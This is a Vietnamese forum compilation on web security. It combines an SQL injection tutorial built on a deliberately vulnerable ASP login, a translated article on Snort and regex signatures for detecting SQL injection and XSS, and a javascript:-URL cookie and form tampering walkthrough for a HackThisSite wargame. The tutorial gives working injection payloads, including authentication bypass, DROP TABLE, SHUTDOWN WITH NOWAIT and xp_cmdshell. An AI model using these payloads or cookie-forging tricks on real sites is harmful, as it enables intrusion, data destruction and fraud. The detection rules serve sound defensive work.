SQL injection - XSS
Web Application
Thứ tư, 12/04/2006, 10:24:30
Thứ tư, 12/04/2006, 10:24:30
1. Các lỗi khi lập trình Web:2. Lỗi về SQL injection:Lang thang trên net gặp được cái này, tui nghĩ nó có ích chó cậcbn newbie như tui đây. he he cùng vộc nào
Cơ sở dữ liệu(database) được coi như là "trái tim" của hầu hết các website. Nó chứa đựng những dữ liệu cần thiết để website có thể chạy và lưu trữ các thông tin phát sinh trong quá trình chạy. Nó cũng lưu trữ những thông tin cá nhân , thẻ tín dụng , mật khẩu của khách hàng , của user và thậm chí là cả của Administrator. Hơn cả thế nữa , database còn lưu trữ cả những chi tiết về hoá đơn mua hàng , chi tíêt hàng hoá...Đó chính là lý do mà việc bảo vệ Database của 1 website lại rất quan trọng để bảo vệ quyền lợi khách hàng, vận hành việc kinh doanh 1 cách hiệu quả.
Nhưng điều gì xảy ra khi bạn nhận ra rằng những dữ liệu đó không an toàn. Điều gì sẽ xảy ra khi bạn nhận ra rằng có 1 lỗi bảo mật mới được phát hiện ? Bạn sẽ trả lời ngay rằng bạn sẽ tìm kiếm 1 phiên bản sữa lổi (patch) hoặc nâng cấp ứng dụng lên version mới hơn. Nhưng bạn sẽ không ngờ rằng ,còn có 1 loại lỗi khác không thể nào trông chờ vào việc sửa chữa của hãng viết softwares vì lỗi này phát sinh là do...chính bạn. Lỗi SQL Injection (Chèn lệnh SQL).
SQL Injection là gì ?
Ngày nay các ứng dụng SQL ngày càng trở nên thân thiện hơn và dễ sử dụng hơn. Nhưng theo qui tắc bảo mật, cái gì càng dễ sử dụng và càng nhiều tính năng thì càng dễ bị tấn công và điều này hoàn toàn đúng với 1 số phiên bản của ngôn ngữ SQL mà tôi sẽ mô tả sau đây bằng 2 công nghệ thông dụng nhất hiện nay , ngôn ngữ ASP và Ms.SQL server.
Như bạn đã biết, ngôn ngữ SQL (Structured Query Language) thông thường là sự kết hợp của những lệnh như SELECT , UPDATE hay INSERT... Như với SELECT, sau mỗi lệnh là sự trả về 1 số data cần thiết, vd như
SQL
SELECT * FROM Users WHERE userName = 'justin';
Định nghĩa
SQL
WHERE userName = 'justin'
có nghĩa rằng chúng ta múôn biết tất cả các thông tin về username có tên là justin. Bởi vì ngôn ngữ SQL gần với câu nói tự nhiên , dễ hiểu như vậy nên nó đã nhanh chóng được tiếp nhận và nó cũng mở ra cơ hội cho việc khai thác lỗi SQL Injection bằng cách "nói thêm".
Bằng cách chèn thêm 1 vài dòng vào , hackers có thể gây ra sự nhầm lẫn của server và thực hiện 1 ý đồ khác ngoài mục tiêu của chương trình. Hãy xem xét ví dụ sau:
Thông thường , để kiểm tra đăng nhập 1 user, đa số website sẽ cung cấp 1 form như sau:
SQL
<form name="frmLogin" action="login.asp" method="post">
Username: <input type="text" name="userName">
Password: <input type="text" name="password">
<input type="submit">
</form>
Khi users nhấn nút Submit, website lập tức chuyển data đến files login.asp qua hàm Request.Form . Sau đó , 1 câu SQL sẽ được thực hiện để xác định danh tính user này. Chúng ta có thể tạo 1 files login.asp như sau:
SQL
<%
dim userName, password, query
dim conn, rS
userName = Request.Form("userName")
password = Request.Form("password")
set conn = server.createObject("ADODB.Connection")
set rs = server.createObject("ADODB.Recordset")
query = "select * from users where userName='" &
userName & "' and userPass='" & password & "'"
conn.Open "Provider=SQLOLEDB; Data Source=(local);
Initial Catalog=myDB; User Id=sa; Password="
rs.activeConnection = conn
rs.open query
if not rs.eof then
response.write "Logged In"
else
response.write "Bad Credentials"
end if
%>
Và sau đó , hãy tạo 1 database mẫu như sau:
SQL
create database myDB
go
use myDB
go
create table users
(
userId int identity(1,1) not null,
userName varchar(50) not null,
userPass varchar(20) not null
)
insert into users(userName, userPass) values('admin', 'wwz04ff')
insert into users(userName, userPass) values('john', 'doe')
insert into users(userName, userPass) values('fsmith', 'mypassword')
Nào , bây giờ nếu chúng ta nhập vào user:john và password:doe , thì câu SQL sẽ như thế này:
SQL
select count(*) from users where userName='john' and userPass='doe'
Boom, chúng ta login được vào trong vì câu query hoàn toàn đúng và User John cùng với password là hiện hữu. Hãy dừng lại 1 chút ở đây , bạn hãy xem kỹ có phải bạn cũng đã làm như vậy đối với website của bạn và nó...không có lỗi. Nếu bạn trả lời là đúng , hãy đọc tiếp...Điều gì xảy ra nếu Hackers điền vào form như thế này:
SQL
User:john
password:' or 1=1 --
Câu query trở thành
SQL
select * from users where userName='john' and userPass='' or 1=1 --'
Ms.SQL qui định tất cả những gì theo sau "--" đều là câu chú thích (Giống như dấu // trong C++) , do đó câu query bây giờ sẽ:
1. Kiểm tra xem có username là john hay không ? --> Có
2. Kiểm tra xem 1 = 1 đúng hay không ? --> Đúng
3. Sau -- là chú thích , không quan tâm. --> Đúng
Vì cả 3 điều kiện đều là đúng nên bạn sẽ login được vào tài khoản của john một cách dễ dàng mà không cần biết password của anh ta. 2 dấu -- để ở cuối câu SQL dùng để loại bỏ thông báo lỗi của MS.SQL vì còn 1 dấu ngoặc đơn (quote) của câu SQL chính thức.
Nào , bây giờ xem chúng ta có thể khai thác được gì nhiều hơn từ "chiêu" đơn giản này ? Bạn hãy nhìn lên Table Users mà bạn vừa tạo lúc nãy. Trong hầu hết các hệ thống , users cấp cao nhất (Administrator) thường là user được tạo ra đầu tiên và một biện pháp an toàn cơ bản là không bao giờ lấy tên User là Administrator , nhưng có hề gì nếu ta nhập vào:
SQL
Username: ' or 1=1 ---
Password: [Bất cứ cái gì]
Câu SQL trở thành
SQL
select * from users where userName='' or 1=1
--' and userPass='
Và boom , bạn đã trở thành Administrator và có mọi quyền hành để điều khiển website.
Việc nhập vào form của 1 website để khai thác lỗi SQL Injection là cách thường thấy nhất. Phần sau tôi sẽ hướng dẫn bạn 1 số cáchkhắc phục , nhưng trước hết chúng ta hãy xem thêm 1 vài ví dụ về khai thác lỗi SQL Injection
Ví dụ 1:
Microsoft SQL phát triển riêng cho mình 1 cách viết lệnh SQL mới , còn gọi là Transact SQL, hay TSQL. Tôi sẽ sử dụng sức mạnh của TSQL để mô tả về cách thức tấn công SQL Injection. Hãy dựa vào câu SQL mà chúng ta đang xem xét. Giả sử tôi nhập vào :
SQL
Username: ' having 1=1 ---
Password: [Anything]
Câu SQL trở thành
SQL
select userName from users where userName='' having 1=1
Và ngay lập tức , Ms.SQL báo lỗi và gửi trả về màn hình trang web:
SQL
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'users.userName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/login.asp, line 16
Nhìn kỹ lại thông báo và chúng ta thấy rằng Ms.SQL đã để lộ 2 thông tin cho người dùng vô danh (ở đây là chúng ta đang thử khai thác lỗiSQL Injection) là tên của 1 Field và tên của Table mà chúng ta đang muốn xâm nhập , field "users.userName" . Sử dụng tên có được này chúng ta dùng cú pháp LIKE :
SQL
Username: ' or users.userName like 'a%' ---
Password: [Anything]
và câu SQL trở thành
SQL
select userName from users where userName='' or users.userName like 'a%' --' and userPass=''
Câu SQL này thu thập tất cả những users có Username bắt đầu là "a" và trong trường hợp này là admin
Logged In As admin
Ví dụ 2:
Ngôn ngữ SQL qui định dấu ';' là kết thúc 1 câu query và sau dấu ';' là một câu query mới. Ví dụ như
select 1; select 1+2; select 1+3; sẽ thực hiện cả 3 câu query. Lợi dụng điều này ,ta hãy làm như sau:
SQL
Username: ' or 1=1; drop table users; --
Password: [Anything]
Và ...phù, toàn bộ dữ liệu về users của website biến mất.
Ví dụ 3:
Trong ví dụ này tôi sẽ cho bạn thấy việc khai thác sự tiện lợi của TSQL có thể làm biến mất Database hoặc thậm chí shutdown luôn IIS. Chúng ta sẽ xem xét 1 số lệnh đặc biệt của Ms.SQL và phần "stored procedures". Đa số website khi kết nối với Database thường sử dụng account sa(default system account) để kết nối từ ASP đến Ms.SQL. Mặc định , account sa có toàn quyền , bao gồm delete, rename, và thêm vào database, table , triggers....
Nào bây giờ chúng ta hãy nhập vào:
SQL
Username: '; shutdown with nowait; --
Password: [Anything]
Một trong những lệnh "nguy hiểm" nhất của Ms.SQL là SHUTDOWN WITH NOWAIT . Khi nhận lệnh này , toàn bộ server Ms.SQL ngừng hoạt động hoàn toàn và chỉ restart và làm việc lại khi được ra lệnh bằng tay từ trình SQL service manager , hoặc tab Services của Windows. Và khi bạn nhập vào như trên , câu SQL trở thành
SQL
select userName from users where userName='';
shutdown with nowait; --' and userPass=''
Nếu website sử dụng account sa và bị khai thác lỗi như trên , nó sẽ dừng hoàn toàn phần Database từ 1giây cho đến vài ngày , dừng đến khi nào có người phát hiện ra là nó đã bị dừng và khởi động nó lại bằng tay.
SQL Server cũng có sẵn (Includes) một vài thủ tục (stored procedures) được viết bằng C++ DLL. Những thủ tục này được dùng để vận hành SQL Server một cách dễ dàng như đọc thư mục , registry , xóa files, chạy 1 dòng lệnh command... Toàn bộ stored procedures thường bắt đầu bằng "xp_". Có 1 vài stored procedures có thể gây nguy hiểm cho server. Hãy xem xét , giả sử IIS chạy cùng server với SQL server và chúng ta nhập vào:
SQL
Username: '; exec master..xp_cmdshell 'iisreset'; --
Password: [Anything]
Câu lệnh SQL trở thành
SQL
select userName from users where userName='';
exec master..xp_cmdshell 'iisreset'; --' and userPass=''
Ngạc nhiên chưa ? Sau khi SQL Server biến mất thì bây giờ toàn bộ website biến mất !!!
Ví dụ 4:
Bây giờ, chúng ta sẽ chuyển qua 1 thứ mà chúng ta thường gặp hơn. Thông thường khi vào những website thương mại , bạn thường thấy URL có dạng như sau:
SQL
www.mysite.com/products.asp?productId=2
Trong đó, ID = 2 là mã hàng hoá và câu lệnh để lấy thông tin về hàng hoá là
Select prodName from products where id = 2
Và chúng ta hãy tạo 1 files có nhiệm vụ đưa ra thông tin hàng hoá là products.asp như sau
SQL
<%
dim prodId
prodId = Request.QueryString("productId")
set conn = server.createObject("ADODB.Connection")
set rs = server.createObject("ADODB.Recordset")
query = "select prodName from products where id = " & prodId
conn.Open "Provider=SQLOLEDB; Data Source=(local);
Initial Catalog=myDB; User Id=sa; Password="
rs.activeConnection = conn
rs.open query
if not rs.eof then
response.write "Got product " & rs.fields("prodName").value
else
response.write "No product found"
end if
%>
Sau đó chúng ta nhập vào dòng URL của Browser
SQL
='http://www.mysite.com/products.asp?productId=0%20having%201=1' target='_blank'>http://www.mysite.com/products.asp?product...%20having%201=1
Ngay lập tức, trình duyệt sẽ báo lỗi như sau
SQL
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'products.prodName' is invalid in the select
list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/products.asp, line 13
Cũng như ví dụ trên, 2 thông tin mà chúng ta khai thác được là Table products và Field prodName . Tiếp theo , với những thông tin đã biết được , ta tiếp tục đánh vào
SQL
='http://www.mysite.com/products.asp?productId=0;insert%20into%20products' target='_blank'>http://www.mysite.com/products.asp?product...into%20products
(prodName)%20values(left(@@version,50))
Câu URL trên đã chạy lệnh INSERT và thêm vào 1 row mới trong database, tại field prodName là 50 chữ cái thông tin về phiên bản Ms.SQL đang chạy tại server (Do biến @@version tạo ra). Vấn đề còn lại là lấy field đó ra trở lại
SQL ='http://www.mysite.com/products.asp?productId=(select%20max(id)' target='_blank'>http://www.mysite.com/products.asp?product...elect%20max(id)
%20from%20products)
Max(id) để bảo đảm lấy được hàng cuối cùng chứa thông tin mà chúng ta vừa thêm vào. Hãy xem bạn đã lấy được gì
Got product Microsoft SQL Server 2000 - 8.00.534 (Intel X86)
Đây là 1 thông tin vô cùng quí giá, nó cho phép Hackers tiếp theo lợi dụng những lổ hổng Security Bugs từ phiên bản này để tiếp tục tấncông và chiếm toàn quyền điều khiển server.
1. Giới thiệu
Trong vài năm trở lại đây, những cách tấn công vào tầng Ứng dụngweb đã làm tăng sự chú ý các chuyên gia bảo mật. Bởi vì bất kể firewall của bạn được config tốt thế nào, hay những bản vá lỗi chắc chắn cỡ nào, nếu người thiêt kế web không tuân theo những quy luật an toàn trong việc viết mã nguồn, thì hacker có thể đi ngay vào trong hệ thống của bạn qua port 80.
Hai cách tấn công chính qua port 80 được dùng rộng rãi nhất là SQL injection[1] và Cross Site Scripting[2]. SQL injection là kỹ thuật chèn thêm những ký tự meta và các câu lện vào những form nhập dữ liệu trong website để điều khiển sự hoạt động của các câu truy vấn SQL đầu cuối ( nằm ở fía server ). Các cách tấn công này chủ yếu nhắm trực tiếp vào webserver của những công ty, tổ chức khác. Tấn côngXSS thì được thực hiện theo phương cách nhúng các scripts vào URLs và dụ users click vào chúng để bảo đảm những JScript độc hoại được thực thi trên máy của victim. Những pp tấn công này khai thác sự tin tưởng ( trust ) giữa user và server cùng với một điều là webserver không có biện pháp kiểm tra input/output để loại bỏ các ký tự thuộc Javascript.
Bài viết này đề cập cách phát hiện các tấn công SQL injection vàXSS đối với hệ thống của bạn. Tuy đã có rất nhiều bài viết về 2 cáchtấn công dựa trên nền ứng dụng web này: làm sao để tấn công, ảnh hưởng, và làm thế nào để ngăn ngừa bằng cách viết mã nguồn an toàn hơn, nhưng thật sự chưa có nhiều bài viết về cách để phát hiện những cuộc tấn công như thế. Ta sử dụng một phần mềm phát hiện xâm nhập mã nguồn mở ( IDS: instrusion detection system ) Snort[3] cùng với cách thiết lập những quy định cho chúng để phát hiện 2 cách tấncông trên. Ban đầu, mặc định trong Snort mang dấu hiệu để nhận biếtXSS, nhưng điều này có thể bị xâm nhập dễ dàng. Thí dụ như do Snort ngăn chặn việc dùng tag <script> nên ta có thể sử dụng các giá trị hex tương đương ( trong bảng ASCII ) như là %3C%73%63%72%69%70%74%3E thay vì <script>.
Chúng tôi đã thiết lập nhiều bảng qui định cho firewall để phát hiện những tấn công như thế, tuỳ thuộc vào mức độ quan tâm về bảo mật của công ty. Nếu bạn muốn hệ thống fw của mình fát hiện tất cả mọi khả năng xảy ra SQL injection, chỉ đơn giản là nên kiểm tra xem có các ký tự meta của SQL như dấu ' , dấu ; hay dấu --. Tương tự, một cách để kiểm tra tấn công bằng XSS là tìm dấu , dấu này cho thấy một thẻ HTML. Nhưng thường thì những cách này dễ dẫn tới hiểu lầm về tình trạng an toàn của mình. Để tránh điều đó, các dấu hiệu cần được bổ sung cho chinh xác hơn.
Mỗi dấu hiệu như vậy có thể được dùng cùng với hoặc độc lập với những từ khác trong bảng quy định của Snort bằng cách dùng keyword pcre[4]. Các dấu hiệu này cũng có thể được dùng với 1 côngcụ như grep để kiếm trong logfile của webserver [lệnh grep của linux dùng kiếm 1 entry nào đó trong filename giống với các thông số enter] . Nhưng cần cảnh giác là input của user chỉ được ghi vào log file của server nếu các ứng dụng web dùng GET. Các dữ liệu dùng POST thì không được lưu lại trong log của webserver.
2. Các quy luật cho fw dùng phát hiện SQL injection
Một điểm quan trọng cần lưu ý trong khi thiết lập các quy định để phát hiện SQL injection là một hacker có thể chèn thêm lệnh SQL vào trong các input được lấy từ 1 form, cũng như là lấy từ 1 trường nào đó của cookie ( nd:SQL có thể xảy ra với trường phpsessionid trong cookie ). Vì vậy biện pháp kiểm tra input của bạn cần áp dụng lên tất cả những input nào bắt nguồn từ user, bất kể là một form trên website hay thông tin trong cookie. Và nếu như bạn phát hiện quá nhiều alert từ bảng quy định của firewall đối với việc kiểm tra dấu ' hoặc ", thì những thông báo đó có thể do một trong những ký tự hợp lệ trong cookie được tạo ra bởi ứng dụng web của bạn. [cookie có thể có nhiều ký tự như ', " và những ký tự này làm firewall của bạn báo động, nên cần kiểm tra xem nguồn báo động đến từ đâu]
Như đề cập ở trên, một trong những cách thiết lập để phát hiện SQL injection là việc tìm kiếm những ký tự meta đặc biệt của SQL như dấu ', dấu -- ... Để phát hiện những giá trị này và giá trị hex tương đương của chúng, những cách sau có thể được dùng:
2.1 Regex (regular expression) for detection of SQL meta-characters
Quy luật phát hiện ký tự meta của SQL
/(\%27)|(\')|(\-\-)|(\%23)|(#)/ix
Giải thích:
Đầu tiên ta tìm những giá trị hex tương đương của dấu ', hoặc bản thân dấu ' hay sự hiện diện của dấu -- , đây là ký tự SQL dùng cho MS SQL server và Oracle server, để bắt đầu cho một câu chú thích, và tất cả những gì đi sau nó sẽ bị bỏ đi. Thêm vào đó, nêu bạn dùng MySQL, cần kiểm tra sự hiện diện của dấu # hoặc giá trị hex tương đương của chúng. Nên lưu ý là chúng ta không cần kiểm tra giá trị hex tương đương của dấu --, bởi vì nó không phải là một ký tự meta của HTML và sẽ không bị encode bởi trình duyệt. Nếu một hacker tự bổ sung dấu -- thành giá trị hex %2D ( dùng 1 proxy như Achilles[5]),tấn công SQL vẫn thất bại.
Cách thiết lập như trên có thể được thêm vào bảng cấu hình Snort như sau:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL Injection - Paranoid"; flow:to_server,established;uricontent:".pl";pcre:"/(\%27)|(\')|(\-\-)|(%23)|(#)/i"; classtype:Web-application-attack; sid:9099; rev:5;)
Trong trường hợp này, URL có giá trị .pl thay vì asp bởi vì trong khi test, các script được viết bằng Perl. Tuỳ vào mỗi ứng dụng, giá trị này có thể là ".php" hay ".asp" hay ".jsp"... Kể từ đây trở đi, chúng tôi chỉ đề cập tới những quy định để thiết lập rule cho Snort, nhưng không đề cập tới bảng rule của Snort đã được thiết lập đầy đủ. Từ những quy định này, bạn có thể tạo ra nhiều rule cho Snort hơn để phù hợp.
Trong câu lệnh ở trên, ta dùng phát hiện dấu -- bởi vì đôi khi có những trường hợp SQL được thực hiện mà không cần dấu ' [6]. Thí dụ như nêu 1 câu truy vấn SQL có chứa mệnh đề WHERE với hoàn toàn là các giá trị số, như là
Select value1, value2, num_value3 from database
where num_value3=some_user_supplied_number
Trong trường hợp này, hacker có thể thực thi 1 câu lệnh SQL nữa, bằng cách thêm vào dòng
3; insert values into some_other_table
Cuối cùng, các biến pcre như 'i' và 'x' được dùng để kiểm tra các trường hợp phân biệt chữ hoa/thường và bỏ đi khoảng trắng (Space) trong firewall rule.
Bảng quy định fw trên có thể được mở rông để phát hiện sự xuất hiện của dấu ; . Mcặ dù vậy, dấu ';' cũng có khả năng xuất hiện trong những lệnh HTTP bình thường. Để làm giảm khả năng báo động sai về sự xuất hiện của dấu ' và " trong đoạn lệnh http bình thường, bảng quy định fw trên có thể bổ sung để trước hết là phát hiện sự xuất hiện của dấu '='. Input của user thường dưới dạng GET hay POST, trong đó các field input sẽ là:
username=some_user_supplied_value&password=some_user_supplied_value
Vì vậy, mọi tấn công kiểu SQL sẽ dẫn tới kết quả thêm vào input của user một dấu =, hay giá trị hex tương đương.
2.2 Bổ sung bảng quy luật để phát hiện các ký tự meta của SQL
/((\%3D)|( [^\n]*((\%27)|(\')|(\-\-)|(\%3B)|()/i
Giải thích:
Bảng dấu hiệu này của fw đầu tiên tìm sự xuất hiện của dấu '=' hay giá trị hex tương đương của nó. Nó cho phép các ký tự không-phải-newline và tiếp tục kiểm tra dấu ' , dấu " hoặc dấu ;
Thông thường các nỗ lực tấn công bằng SQL injection liên quan tới việc sử dụng dấu ' để điều khiển câu truy vấn ban đầu, làm cho nó luôn trả lại giá trị TRUE. Hầu hết các thảo luận về tấn công kiểu này bằng cách dùng chuỗi 1' or '1'=1 . Mặc dù vậy, việc phát hiện ra chuỗi này có thể bị dễ dàng vượt qua bằng những chuỗi tương đương như 1' or 2>1--. Vì vậy phần duy nhất không đổi chính là giá trị số đầu tiên, được theo sau bởi một dấu ' ( 1' ) và chữ OR. Câu lệnh logic theo sau đó có thể thay đổi tuỳ hoặc theo hướng rất khó xác định hoặc khó đề cập đầy đủ các khả năng. Vì vậy xác định những tấn công theo cách này chỉ dừng lại ở một mức nhất định, bằng cách thiết lập fw table như trong fần kế tiếp.
2.3 Quy luật phát hiện các SQL injection thông thươ
/\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix
Giải thích
\w* - các ký tự chữ hoặc dấu '_'
(\%27)|\' - dấu '-' hoặc giá trị hex tương đương (%27)
(\%6F)|o|(\%4F))((\%72)|r|(\%52) - chữ OR hoặc những kết hợp như Or, oR, OR hoặc giá trị hex tương đương.
Việc dùng câu truy vấn UNION cũng thông dụng trong tấn công SQL. Những bảng quy định ở trên chỉ dùng để phát hiện dấu ' hay những ký tự meta khác đôi khi tạo ra nhiều báo động sai, bạn có thể bổ sung vào 1 dòng để check chữ UNION hoặc mở rộng cho những keyword khác như SELECT, INSERT, UPDATE ... như dưới đây
2.4 Quy luật phát hiện SQL inj dùng UNION
/((\%27)|(\'))union/ix
Giải thích
(\%27)|(\') - dấu ' và giá trị hex của nó
union - check tìm keyword UNION
Tương tự ta có thể làm đối với các keyword khác như select, update, ...
Cho tới lúc này, nếu hacker đã fát hiện ra ứng dụng web bị lỗi SQL injection, hacker sẽ tìm cách khai thác. Và nếu hacker biết rằng database được chạy trên là MS SQL, thông thường sẽ thử chạy những thủ tục có sẵn nguy hiểm. Các thủ tục này bắt đầu bởi 'sp' hay 'xp'. Câu lệnh xp_cmdshell cho phép thực hiện các lệnh shell của windows thông qua SQL server. Quyền thực thi các câu lệnh này sẽ là quyền của account SQL server đối với win, thông thường là quyền Local System ( k0 bị giới hạn ). Ngoài ra, hacker có thể thay đổi registry bằng cách dùng các câu lệnh xp_regread, xp_regwrite ...
2.5 Quy luật để phát hiện SQL injection trên 1 MS SQL server
/exec(\s|\+)+(s|x)p\w+/ix
Giải thích:
exec - keyword cần để gọi các thủ tục lưu sẵn.
(\s|\+)+ - một hay nhiều khoảng trống (spaces) hay giá trị hex tương đương
(s|x)p - ký tự 'sp' hay 'xp'
3. Các quy luật phát hiện tấn công dùng XSS
Khi thực hiện tấn công XSS, hay khi test 1 website xem có mắc lỗiXSS, đầu tiên hacker có thể dùng các thẻ HTML như <b>, <i> hay <u>. Ngoài ra, hacker cũng có thể thử 1 script như là <script>("OK")</script>. Những pp này rất dễ bị phát hiện. Một hacker có trình độ hơn sẽ thay toàn bộ chuỗi trên bằng các giá trị hex tương đương của chúng, thí dụ như thẻ <script> sẽ xuất hiện như là %3C%73%63%72%69%70%74%3E. Mặt khắc, hacker có thể dùng 1 ứng dụng web proxy như Achilles với chức năng tự động thay thế các ký tự đặc biệt, như là < thành %3C hay > thành %3E. Khi đó URL của webproxy sẽ chứa dấu thay vì các giá trị hex tương đương của chúng.
[Translator note: you should rest here then continue, as i did ]
Câu quy định sau sẽ kiểm tra những kiểu tấn công có thể chứa các thẻ mở và đóng và mọi text chứa trong đó. Regex sau phân biệt chữ hoa/thường và sẽ ngăn chặn những ý định dùng các thẻ như <b>, <u> hay <script>. Ta cũng cần fải kiểm tra sự hiện diện của những dấu ngoặc nhọn ( < > ) và giá trị hex của chung. Để phát hiện pp tấn côngthông quá cách biến giá trị hex của toàn chuỗi tấn công thành ký tự, cần kiểm tra sự xuất hiện của các số, và dấu % trong input của user. Điều này đôi khi cũng gây nên báo động giả, nhưng hầu hết trong mọi trường hợp sẽ phát hiện những cuộc tấn công thật sự.
3.1 Quy luật phát hiện tấn công XSS dạng đơn giản
/((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/ix
Giải thích:
((\%3C)|<) - kiểm tra sự xuất hiện của dấu ngoặc mở ( < )
((\%2F)|\/)* - kiểm tra dấu / trong thẻ dùng để đóng( như </script> )
[a-z0-9\%]+ - kiểm tra ký tự nằm trong thẻ, và các giá trị hex của chúng
((\%3E)|>) - kiểm tra dấu ngoặc đóng ( > )
Thí dụ 1 rule cho Snort để detect như sau:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"NII Cross-site scripting attempt"; flow:to_server,established; pcre:"/((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i"; classtype:Web-application-attack; sid:9000; rev:5;)
XSS cũng có thể thực hiện bằng cách dùng thẻ <img src=>. Cấu hình mặc định của Snort sẽ để lọt lỗi này, chúng ta config lại như sau:
3.2 Quy luật phát hiện "<img src" trong tấn công XSS
/((\%3C)|<)((\%69)|i|(\%49))((\%6D)|m|(\%4D))((\%67)|g|(\%47))[^\n]+((\%3E)|>)/I
Giải thích:
(\%3C)|<) kiểm tra dấu ngoặc mở hoặc giá trị hex tương đương
(\%69)|i|(\%49))((\%6D)|m|(\%4D))((\%67)|g|(\%47) kiểm tra sự xuất hiện của 'img' bên trong thẻ html, bao gồm kết hợp chữ hoa/thường hoặc giá trị hex
[^\n]+ kiểm tra tất cả những ký tự không fải là tab new-line \n đi theo sau <img
(\%3E)|>) kiểm tra dấu ngoặc đóng.
3.3 Paranoid regex for CSS attacks
/((\%3C)|<)[^\n]+((\%3E)|>)/I
Giải thích:
Config kiểu này đơn giản chỉ kiểm tra các thẻ HTML mở, và giá trị hex tương ứng, theo sau là một hay nhiều ký tự không phải ký tự newline ( \n ), sau đó là thẻ đóng html hay giá trị hex tương đương. Điều này đôi khi tạo nên báo động sai tuỳ thuộc vào cấu trúc của ứng dụng webvà webserver, nhưng nó cũng bảo đảm sẽ ngăn chặn tất cả những gì được coi là một tấn công XSS từ xa.
Cuối cùng, 1 tài liệu rất tốt để tham khảo về các loại tấn công XSS có thể vượt qua quy luật của fw có thể được tìm thấy tạihttp://www.securityfocus.com/archive/1/272037. Mặc dù vậy, quy luật cuối cùng nếu được thiết lập cho fw, sẽ ngăn chặn tất cả các cáchtấn công này.
4. Kết thúc:
In this article, we've presented different types of regular expression signatures that can be used to detect SQL Injection and Cross Site Scripting attacks. Some of the signatures are simple yet paranoid, in that they will raise an alert even if there is a hint of an attack. But there is also the possibility that these paranoid signatures may result in false positives. To take care of this, we've then modified the simple signatures with additional pattern checks so that they are more accurate. We recommend that these signatures be taken as a starting point for tuning your IDS or log analysis methods, in the detection of these Web application layer attacks. After a few modifications, and after taking into account the non-malicious traffic that occurs as part of your normal Web transactions, you should be able to accurately detect these attacks.
Trong bài này, chúng tôi trình bài nhiều kiểu regex ( nôm na là quy luật cho fw ) có thể được dùng để phát hiện SQL injection và XSS. Một số quy luật là quá thận trọng, sẽ báo động ngay chỉ với một tín hiệu nhỏ của khả năng bị tấn công. Nhưng cũng có khả năng những quy luật này tạo nên những tình trạng an toàn giả tạo. Để khắc phục, chung tôi bổ sung những quy luật đơn giản bằng cách kiểm tra những tình huống thường gặp để trở nên chính xác hơn. Chúng tôi khuyến khích việc lấy những quy định này làm điểm khởi đầu cho các pp phân tích hệ thống IDS hay log của bạn. Chỉ cần một vài sự bổ sung và nghiên cứu về những luồng http không độc hại trong ứng dụng web của bạn, bạn đã có thể phát hiện chính xác những tấn công kiểu trên.
trích từ pc của hero_zero
-3. Hacker web bang java script-line
cách đây vài tháng , mình là nguời newbie và( giờ cũng thía) , mình thấy rất nhiều diễn đàn nói về những đoạn java-inline , mình không hiểu tại sao và làm cách nào , hôm nay mình đã search 1 bài rất hay của anh vkđt7799@yahoo.com , mình mong nhiều bạn sẽ hiểu nó hơn , chắc chắn nhiều người biết cái này rồi , nhưng nhiều bạn chưa biết ( các cao thủ rõ hơn nhiều)
Đây là bài hoàn chỉnh và phần ứng dụng với Forum Vietboard 2.5 , 2.6
-**********-------**********---------**************************
Với kĩ thuật này, bạn có thể xem xét và hiệu chỉnh giá trị của các cookie hoặc trường ẩn trực tiếp ngay trên trang web. Tất cả chỉ với một trình duyệt web hổ trợ "debug javascript-inline", chẳng hạn như Internet Explorer, Netscape hay Mozilla, ...
Cơ bản về JavaScript-Inline
Đa số các trình duyệt web đều hổ trợ JavaScript-Inline. Bạn có thể thi hành JavaScript bằng cách gõ vào thanh URL như sau:
javascript:void(<đặt lệnh JavaScritpt ngay tại đây!>)
Ví dụ:
Để xem giá trị hiện tại của cookie, bạn gõ javascript:alert(document.cookie)
Hoặc để thay đổi giá trị của trường ẩn "hiddenid" của form đầu tiên thành "2", bạn gõ javascript:void(document.forms[0].hiddenid.value="2")
Một số đối tượng thông dụng khi thao tác với JavaScript-Inline là:
document.cookie - chứa giá trị của cookie
document.forms[0].FieldName.value - lấy giá trị của trường trong form
document.forms[0].SelectName.options[0].value - giá trị của trường selection trong form
( Xem hướng dẫn về JavaScript tại trang web này )
Một vài ví dụ về hack web bằng JavaScript-Inline
http://scifi.pages.at/hackits/stufe4code.htm
Mã nguồn HTML có đoạn như sau:
...
var a=unescape("%43%4f%44%45%5a");
function check()
{
if (document.a.c.value == a)
{
document.location.href="http://scifi.pages.at/hackits/"+document.a.c.value+".htm";
}
else
{
alert ("wrong! - letter size?");
}
}
}
...
Đơn giản bạn có thể gõ thẳng vào thanh URL của IE như sau: javascript:alert(unescape(a)) để lấy password của level tiếp theo ("CODEZ")
http://www.hackthissite.org/missions/mission8/
Realistic mission 8 trên hackthisite.org yêu cầu bạn chuyển 10 triệu đô từ tài khoản của "Gary Hunter" vào tài khoản "dropCash". Sau khi bạn dùng SQL-Injection để lấy username của "Gary Hunter", bạn tiến hành chuyển tiền như sau:
Đăng nhập vào tài khoản của bạn. Trên thanh URL của IE bạn gõ vào: javascript:void(document.write('<form name=the_form action=movemoney.php method=post><input type=hidden name=FROM value=GaryWilliamHunter><input type=hidden name=TO value=dropCash><input type=hidden name=AMOUNT value=10000000><input type=submit value="Move Money To A Different Account"></form>'))
Đoạn JavaScript trên sẽ tạo một form với trường ẩn FROM=GaryWilliamHunter, TO=dropCash, AMOUNT=10000000
Bây giờ bạn thay đổi cookie lại như sau:
javascript:void(document.cookie="accountUsername=GaryWilliamHunter")
javascript:void(document.cookie="accountPassword=GaryWilliamHunter")
Ấn nút "Move Money To A Different Account" một cái là xong.
